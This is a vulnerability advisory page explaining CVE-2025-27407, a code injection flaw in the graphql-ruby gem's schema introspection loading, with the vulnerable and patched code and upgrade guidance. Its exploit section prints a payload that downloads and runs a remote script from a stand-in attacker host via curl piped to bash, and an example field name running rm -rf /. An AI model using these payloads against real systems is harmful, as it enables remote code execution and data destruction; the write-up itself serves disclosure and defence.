CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-27407
9.11.64%

Metaprogramming Madness: RCE in graphql-ruby via Schema Introspection

Alon Barad
Alon Barad
Software Engineer

Feb 21, 2026·5 min read·15 visits

PoC Available

Executive Summary (TL;DR)

The `graphql-ruby` gem used `class_eval` with string interpolation to generate methods from schema names. An attacker can supply a malicious introspection JSON (e.g., a field name containing Ruby code) which the library blindly executes. This results in full RCE. Patch immediately to versions ending in .8, .25, .24, .32, .14, .17, or .21 depending on your minor version.

A critical Remote Code Execution (RCE) vulnerability in the popular `graphql-ruby` gem allows attackers to execute arbitrary Ruby commands by providing a malicious GraphQL schema. The flaw lies in the library's use of unsafe metaprogramming—specifically string interpolation within `class_eval`—when processing introspection data. This affects any application that dynamically loads GraphQL schemas from untrusted sources, turning a standard schema definition into a weaponized payload.

The Hook: When Introspection Stares Back

GraphQL is fantastic. It lets you ask for exactly what you want. But sometimes, developers want more. They want their applications to dynamically understand other GraphQL APIs. Enter GraphQL::Schema.from_introspection. This handy method takes a JSON dump of a schema (the result of an introspection query) and magically rebuilds Ruby classes and objects to represent it. It’s the backbone of dynamic clients like graphql-client.

Here’s the rub: In the world of security, "dynamic" is often a polite synonym for "dangerous." When your application ingests a schema definition from a remote server, it is trusting that server not to lie about what a User type looks like. But what if the remote server isn't just lying? What if it's weaponizing the very names of the fields it defines?

CVE-2025-27407 is the result of that trust being misplaced. It turns out that graphql-ruby wasn't just reading the schema; it was taking the text from that schema and feeding it directly into the Ruby interpreter. If you point your vulnerable GraphQL client at my malicious server, I don't just send you a schema—I send you a shell.

The Flaw: Eval is Evil (Again)

If you've spent any time in the Ruby community, you know the mantra: Eval is Evil. Yet, the allure of metaprogramming is too strong for many library authors to resist. It’s cleaner, they say. It’s faster, they claim.

The root cause of this vulnerability is a textbook case of Code Injection via class_eval. When graphql-ruby parsed the introspection JSON, it needed to create accessor methods for the fields and arguments defined in that schema. To do this, it constructed a string of Ruby code and executed it.

The library assumed that a GraphQL field name would be something innocent like firstName or email. It did not anticipate that an attacker might name a field firstName; system('rm -rf /');. Because the library took these names and interpolated them directly into a code string, the Ruby interpreter didn't see a weird field name; it saw a command delimiter (;) followed by valid Ruby code waiting to be executed.

The Code: The Smoking Gun

Let's look at the crime scene. In lib/graphql/schema/input_object.rb (and similar locations), the library was generating methods dynamically.

The Vulnerable Code:

# The variable 'method_name' comes directly from the JSON input
method_name = argument_defn.keyword
 
# The Fatal Flaw: String interpolation inside class_eval
class_eval <<-RUBY, __FILE__, __LINE__
  def #{method_name}
    self[#{method_name.inspect}]
  end
RUBY

Do you see it? The #{method_name} is injected directly into the string definition of the method. If I control method_name, I control the class definition.

The Fix:

The maintainers patched this by removing the string interpolation entirely. Instead of writing code as a string and evaluating it, they switched to block-based metaprogramming using define_method. This treats the method name as a symbol/literal, not executable code.

# The Safe Approach
def define_accessor_method(method_name)
  # define_method takes a block; no string parsing happens here
  define_method(method_name) { self[method_name] }
  alias_method(method_name, method_name)
end

Furthermore, they added NameValidator.validate! to ensure that identifiers actually look like GraphQL names (alphanumeric with underscores) before doing anything with them. It's a classic defense-in-depth strategy: sanitize the input and use safe APIs.

The Exploit: Crafting the Payload

To exploit this, we don't need a complex buffer overflow or heap spray. We just need to speak JSON. The attack vector is strictly the Introspection Query Result.

Imagine a scenario where a developer creates a script to update their API client:

# Victim Script
require 'graphql/client'
schema = GraphQL::Client.load_schema("http://attacker.com/graphql")

The Attack Chain:

  1. Setup: The attacker sets up a rogue GraphQL server (or compromises a legitimate one).

  2. The Trap: When the victim requests the introspection query, the attacker returns a JSON where a field name contains the payload.

  3. The Payload: We need to close the method definition and inject our code.

    Value for keyword: foo; + system("curl http://attacker.com/rev.sh | bash"); + def bar

  4. Execution: The vulnerable library interpolates this. The resulting code evaluated by Ruby looks roughly like this:

  def foo; system("curl http://attacker.com/rev.sh | bash"); def bar
    self["foo...".inspect]
  end

The system call executes immediately when the class is being defined—not when the method is called. This means simply loading the schema triggers the RCE. The victim doesn't even need to query the API; the initialization phase is enough to own the box.

The Impact: Why This Matters

This is a Critical (9.1) vulnerability for a reason. It requires no authentication and no user interaction other than the application performing its normal startup or configuration routines.

Scope of Damage:

  • CI/CD Pipelines: Many projects load schemas during build time to generate TypeScript types or update documentation. Compromising the schema source could compromise the build pipeline.
  • Server-Side Request Forgery (SSRF) to RCE: If an application allows users to supply a URL for a GraphQL schema (e.g., a developer tool or API gateway dashboard), this turns a simple SSRF into full Remote Code Execution.
  • Development Machines: Developers often connect to various staging or production endpoints. A compromised endpoint could pivot to compromise developer laptops via this vulnerability.

Mitigation: Stop the Bleeding

The fix is straightforward: Update the gem. The maintainers have backported fixes to almost every supported version branch.

Patched Versions:

  • 1.11.8
  • 1.12.25
  • 1.13.24
  • 2.0.32
  • 2.1.14
  • 2.2.17
  • 2.3.21

If you cannot upgrade immediately, you must ensure that GraphQL::Schema.from_introspection and GraphQL::Schema::Loader.load are never called with data from untrusted sources. Treat your schema definitions with the same suspicion you treat user input. Because in this case, that's exactly what they are.

Official Patches

graphql-rubyOfficial GitHub Security Advisory and Patch Notes

Technical Appendix

CVSS Score
9.1/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
1.64%
Top 18% most exploited

Affected Systems

Ruby on Rails applications using `graphql-ruby`GraphQL API Gateways written in RubyCI/CD pipelines running `graphql-client` introspection tasksDeveloper tools generating types from GraphQL schemas

Affected Versions Detail

Product
Affected Versions
Fixed Version
graphql
graphql-ruby
>= 1.11.5, < 1.11.81.11.8
graphql
graphql-ruby
>= 1.12.0, < 1.12.251.12.25
graphql
graphql-ruby
>= 2.3.0, < 2.3.212.3.21
AttributeDetail
CWE IDCWE-94 (Code Injection)
CVSS v3.19.1 (Critical)
Attack VectorNetwork (Remote Schema Load)
Affected ComponentGraphQL::Schema.from_introspection
Privileges RequiredNone
Exploit StatusPoC Available / High Risk

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Code Injection

Improper Control of Generation of Code ('Code Injection')

Known Exploits & Detection

HypotheticalPayload injection via GraphQL field name in introspection result.

Vulnerability Timeline

Vulnerability Disclosed & GHSA Published
2025-03-12
Patches released for all supported versions
2025-03-12
NVD Metadata Updated
2025-10-20

References & Sources

  • [1]GHSA-q92j-grw3-h492 Advisory
  • [2]NVD Entry for CVE-2025-27407

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.